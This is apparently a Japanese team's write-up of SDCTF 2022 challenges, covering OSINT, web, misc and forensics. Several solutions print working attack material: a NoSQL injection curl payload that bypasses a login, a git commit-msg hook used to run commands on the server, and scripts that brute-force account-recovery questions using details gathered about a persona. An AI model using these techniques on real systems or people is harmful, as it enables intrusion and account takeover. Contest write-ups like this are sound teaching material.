5/7 - 5/9という日程で開催された。zer0ptsで参加して4位。昨年に引き続きDiscordサーバがスコアサーバとして使われていて面白かった。スコアサーバも問題もコードがすでに公開されていてすばら。
- [OSINT 100] Google Ransom (155 solves)
- [OSINT 400] Mann Hunt (96 solves)
- [OSINT 160] Samuel (88 solves)
- [OSINT 150] Part of the ship... (76 solves)
- [OSINT 200] Turing Test (49 solves)
- [OSINT 300] Paypal Playboy (23 solves)
- [Web 200] JaWT that down! (57 solves)
- [Web 300] HuMongous Mistake (7 solves)
- [Misc 100, 200] Bishop Duel (110, 93 solves)
- [Misc 175] Git Bomb (33 solves)
- [Forensics 100] Susan Album Party (92 solves)
- [Forensics 250] Flag Hoarder (16 solves)
[OSINT 100] Google Ransom (155 solves)
Oh no! A hacker has stolen a flag from us and is holding it ransom. Can you help us figure out who created this document? Find their email address and demand they return the flag!
添付URL: https://docs.google.com/document/d/1MbY-aT4WY6jcfTugUEpLTjPQyIL9pnZgX_jP8d8G2Uo/edit?usp=sharing
このドキュメントの作成者を特定すればよいらしい。閲覧後にGoogleドライブの「最近使用したアイテム」を見ると、このドキュメントが履歴に残っている。
ドキュメントの詳細を表示してオーナーの名前にホバーすると amy.sdctf@gmail.com
というメールアドレスが表示された。
フラグをくれとか適当なメールを送ると、フラグの含まれたメールが返ってきた。
sdctf{0p3n_S0uRCE_1S_aMaz1NG}
[OSINT 400] Mann Hunt (96 solves)
We were on the trail of a notorious hacker earlier this week, but they suddenly went dark, taking down all of their internet presence...All we have is a username. We need you to track down their personal email address! It will be in the form
****.sdctf@gmail.com
. Once you find it, send them an email to demand the flag!Username mann5549
適当なSNSでこのユーザ名を持つアカウントがないか調べると、Twitterで見つかった。プロフィールにmann.codesというURLが含まれている。Gatsby製のWebサイトらしいが、コンテンツが何もない。
OGPからmanncyber/manncodes.github.ioというリポジトリがその生成元のコードであることがわかるものの、コミットログなどにはメールアドレスは含まれていなかった。そのリポジトリを作成したアカウントについても調べてみたが、登録されている公開鍵やらなんやらには面白い情報はなかった。
Internet ArchiveのWayback Machineで mann.codes
を調べてみても3/4に取られたスナップショットと現在のもので差分はなさそうだし、crt.shで mann.codes
を調べても怪しげなサブドメインを対象に証明書が発行されている様子もない。
なんなんだこの問題は、と思いつつGitHubのリポジトリを眺めていると、Gatsbyの設定ファイルに , Blogger and Coder for ACM at UC San Diego
という作者の紹介文を見つけた。これでググってみると、Emanuel HuntさんのLinkedInのプロフィールを見つけた。Googleドライブに履歴書を置いているらしい。
見てみるとPDFの履歴書があったものの、メールアドレスが ******sdctf@gmail.com
と伏せられている。が、Google Ransomと同じ方法で mann.sdctf@gmail.com
というメールアドレスが得られる。雑にメールを送るとフラグの含まれる返信があった。
点数の割にsolve数が多かったのは、問題名やユーザ名からメールアドレスが容易に推測可能だったからだろうか。
[OSINT 160] Samuel (88 solves)
Where is this? https://www.youtube.com/watch?v=fDGVF1fK1cA
Flag format: sdctf{latitude,longitude} using decimal degrees and 3 decimal places rounded toward zero (Ex. 4.1239 → 4.123, -4.0009 → -4.000)
点滅し続けるライトの動画が与えられている。光る時間が長かったり短かったりしていてモールス信号っぽい。送られている文字列は WHAT HATH GOD WROUGHT
で、San Diego
というワードとともに検索するとそれっぽい場所が見つかった。
sdctf{32.875,-117.240}
[OSINT 150] Part of the ship... (76 solves)
Sometimes I worry about my friend... he's way too into memes, he's always smiling, and he's always spouting nonsense about some "forbidden app." I don't know what he's talking about, but maybe you can help me figure it out! All I know is a username he used way back in the day. Good luck! Flag format is sdctf{flag}
"the forbidden app" でググるとiFunnyなるサービスに言及する記事がヒットする。DanFlashes
というユーザがいないか https://ifunny.co/user/DanFlashes
にアクセスしてみるも、404 Not Foundだった。が、Wayback Machineで探すと過去に存在していたことがわかる。プロフィールにフラグが書かれている。
sdctf{morning_noon_and_night_I_meme}
[OSINT 200] Turing Test (49 solves)
My friend has been locked out of his account! Can you help him recover it?
jack.sdctf@gmail.com
与えられたURLにアクセスするとログインフォームが表示された。メールアドレスに jack.sdctf@gmail.com
を、パスワードに適当な文字列を入力して5回ログインを試みるとサポートのbotが話しかけてきた。
アカウントリカバリを始めると、まず秘密の質問としてフルネームを聞かれる。J**** B*****
と頭文字がヒントとして与えられる。雑に次のスクリプトでファミリーネームをブルートフォースしようとしたものの、失敗した。
(async () => { const wait = t => new Promise(r => setTimeout(r, t)); const list = 'Baalam ... Bythewood'.split(' '); for (const x of list.filter(x => x.length === 6)) { const r = await fetch("/api/check/name", { "headers": { "content-type": "application/json", }, "body": `{"messages":["Jack ${x}"]}`, "method": "POST" }); const rr = await r.text(); console.log(x, rr); if (!rr.includes('not correct')) { console.log('found!!'); break; } await wait(100); } })();
別の方法でフルネームが得られないか試す。Googleドキュメントで新しくドキュメントを作成し、jack.sdctf@gmail.com
との共有を試みる。共有の状態を確認しようとすると、次の画像のように Jack Banner
というフルネームが表示された。
botにフルネームを返信すると、今度は誕生日を聞かれた。
ブルートフォースすると1/10が誕生日だとわかった。
import datetime import requests # https://stackoverflow.com/a/5891598 def suffix(d): ... URL = 'https://vault.sdc.tf/api/check/birthday/f1ea9d82e14b382091c111d71335e0f72e9c2baa' for m in ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']: for d in range(1, 32): r = requests.post(URL, headers={ 'Content-Type': 'application/json' }, data='{"messages":["%s","%d%s"]}' % (m, d, suffix(d))) print(r.text, m, d)
今度は犬の名前を聞かれる。雑によくある名前を引っ張ってきて ブルートフォースしようとしたものの失敗した。よさげなデータセットも見つけたが、数千件のブルートフォースはさすがによろしくない。
別のアプローチを試みる。Jack BannerさんはSNSのアカウントを持っていないか? 試しにFacebookで検索してみると、それっぽい人が見つかった。
このアカウントから犬の名前の情報が得られないか悩んでいたところ、POSIXさんがInstagramのアカウントを見つけてくれた。犬の名前は Ravioli
らしい。最後の質問として、フラグの最初の6文字を聞かれた。これは sdctf{
だ。
これでアカウントにアクセスできる。やったね。
リンクをクリックするとフラグが得られた。
sdctf{7he_1m1747i0n_94m3}
[OSINT 300] Paypal Playboy (23 solves)
We've apprehended somebody suspected of purchasing SDCTF flags off an underground market. That said, this guy is small fry. We need to find the leaker and bring them to brutal justice!
Attached is an email we retrieved from his inbox. See if you can't figure out the boss of their operation. Flag format is sdctf{...}
添付ファイル: mbox (eml形式のファイル)
添付ファイルのメールを見てみると、Cash AppなるアプリのQRコードの画像が添付されていた。$limosheen
というユーザのQRコードらしい。PayPalにも同じユーザ名のアカウントがいないか検索してみたところ、いた。
paypal.me
のプロフィールを確認したところ、次のような自己紹介文が設定されていた。
we sell banners for San Diego Cybersecurity Contest at prices!! dont send ropETH please we have enough money ❤️ 0xBAd914D292CBFEe9d93A6A7a16400Cb53319A43B boss has twitter so question him if need to
Etherscanで 0xBAd914D292CBFEe9d93A6A7a16400Cb53319A43B
というアドレスのトランザクション履歴を見ると、0x949213139D202115c8b878E8Af1F1D8949459f3f
というアドレスに送金しているとわかる。
Twitterで検索してみると、次のツイートがヒットした。
If anyone wants a flag, send 100rETH to 0x949213139D202115c8b878E8Af1F1D8949459f3f 😏
— Jon Fakeflag (@wrestling_wave_) 2022年4月23日
このアカウントのほかのツイートを見ると、フラグが見つかった。
c2RjdGZ7WW91X0V2ZXJfRGFuY2VfV2l0aF90aGVfRGV2aWxfSW5fdGhlX1BhbGVfTW9vbmxpZ2h0fQ==
— Jon Fakeflag (@wrestling_wave_) 2022年4月23日
sdctf{You_Ever_Dance_With_the_Devil_In_the_Pale_Moonlight}
[Web 200] JaWT that down! (57 solves)
ソースコードが与えられていないブラックボックス問。フロントエンドの login.js
に AzureDiamond
/ hunter2
という認証情報が書かれている。これでログインするとJWTが発行されるが、数秒で有効期限が来てしまう。
秘密鍵のブルートフォースやら、アルゴリズムの none
への変更やら色々とJWTへの攻撃を試みたもののどれも失敗して悩んでいたところ、Kahlaさんが、ログイン状態で /s
というエンドポイントが d
という内容を返すことを見つけた。それを見て /s
→ /s/d
→ /s/d/c
…という感じで1文字ずつフラグがわかるのではないかと思いつく。自動化した:
import requests BASE = 'https://jawt.sdc.tf' res = ['s'] c = 's' while True: sess = requests.Session() sess.post(f'{BASE}/login', data={ 'username': 'AzureDiamond', 'password': 'hunter2' }) t = '/'.join(res) r = sess.get(f'{BASE}/{t}') c = r.text res.append(c) print(''.join(res))
sdctf{Th3_m0r3_t0k3ns_the_le55_pr0bl3ms_adf3d}
[Web 300] HuMongous Mistake (7 solves)
買い物ができるWebアプリケーションだが、普通のユーザでは商品として売られているフラグが買えない。このアプリの特徴はログインの際に2FAが必要だというところにある。アカウントの登録時にDiscordのIDを提出させられ、ログイン時にはユーザ名とパスワードに加えて、DiscordアカウントにDMで送られてきた英数字6桁のコードを入力しなければならない。
なんじゃこりゃと悩んでいたところ、問題名に Mongo
が含まれていることに気づく。MongoDBが使われていそう(?????)。ということはNoSQL Injectionだ。適当に試していると、次のようにログイン時に application/x-www-form-urlencoded
ではなく application/json
としてJSONのペイロードを投げることで、パスワードのチェックについては回避できた。
$ curl 'https://shell.sdc.tf/login' \ -H 'content-type: application/json' \ --data-raw '{"username":"admin","password":{"$ne":"hoge","length":1}}' \ --compressed Found. Redirecting to /2fa
次は2FAを何とかする必要がある。こちらはNoSQL Injectionができないようだった。色々試していたところ、このアプリのひどい実装に気づく。2FAのコードに有効期限はないし、もっと言えば他ユーザに発行されたコードであっても使えてしまう。ということで、自分の作成したアカウントでログインを試みてコードを取得し、adminとしてのログイン時にそのコードを入力すればOK。これでadminとしてログインし、フラグが購入できた。
sdctf{th1s_ch4ll3nge_1snt_g3tt1ng_a_SQL_ad45bd}
[Misc 100, 200] Bishop Duel (110, 93 solves)
こんな感じで白と黒のビショップが追いかけっこをするゲーム…だが、それぞれの位置を見ればわかるように、このままでは永遠にお互いを捕まえられない。
C1
→ Z6
で左下まで移動して E8
と入力すると、なぜか左上まで移動した。off-by-oneエラーでもあるのだろうか。
あとは適当に捕まえたり捕まえられたりでふたつフラグが得られる。
sdctf{L0SiNG_y0uR_S0uRC3_C0d3_sUcKs}
sdctf{I_d1dnt_hAND_0u7_th3_s0urC3_c0D3_thIs_TIME}
[Misc 175] Git Bomb (33 solves)
.git
を含むディレクトリをtar.gzに固めてアップロードすると、サーバ側で展開して git commit -m "Powered By GCaaS"
というコマンドを実行してくれる謎のWebアプリケーションが与えられる。
Git Hooksを使えばよい。.git/hooks
下に commit-msg
という名前のファイルを作成すると、コミット時にそれを実行してくれる。cat /flag
するスクリプトをそこに配置すればよさそう。次の手順でコマンドを実行していくとフラグが得られた。
$ mkdir exp $ git init exp $ cd exp $ echo -e '#!/bin/bash\ncat /flag' > .git/hooks/commit-msg $ chmod +x .git/hooks/commit-msg $ echo a > a.txt $ git add . $ ./prepare-git-repo.sh exp/ exp.tar.gz $ curl -F 'repo=@exp.tar.gz' https://gcaas.sdc.tf/ Standard output: [master (root-commit) b5c6adb] Powered by GCaaS 1 file changed, 1 insertion(+) create mode 100644 a.txt Standard error: sdctf{4lw4y5_Us3_GIT_cl0nE_n3v3R_sn3ak_R3P0}
[Forensics 100] Susan Album Party (92 solves)
青い空を見上げればいつもそこに白い猫に投げると3つのJPEGファイルが抽出できる。
sdctf{FFD8_th3n_S0ME_s7uff_FFD9}
[Forensics 250] Flag Hoarder (16 solves)
coreファイルと、それを吐き出した実行ファイルによって暗号化されたフラグだと考えられる enc
というファイルが与えられる。
strings
に投げると、coreファイルを吐き出した実行ファイルの使い方であったり、実行時に与えられたコマンドライン引数であったり、パスワードっぽい文字列であったりが出てくる。
$ strings -n 8 core.3504 … Usage: %s input_file password_file this is my very secret password mwahahaha … /home/knox/Downloads/a.out /home/knox/Downloads/a.out ./flag.txt.bz2 ./password.txt …
試しにパスワードっぽい文字列と enc
とをCyberChefを使ってXORしてみると、BZh
から始まる、Bzip2っぽいバイナリが出てきた。展開するとフラグが得られた。
sdctf{Th1S_1s_My_3ncRYPt3d_FlaG}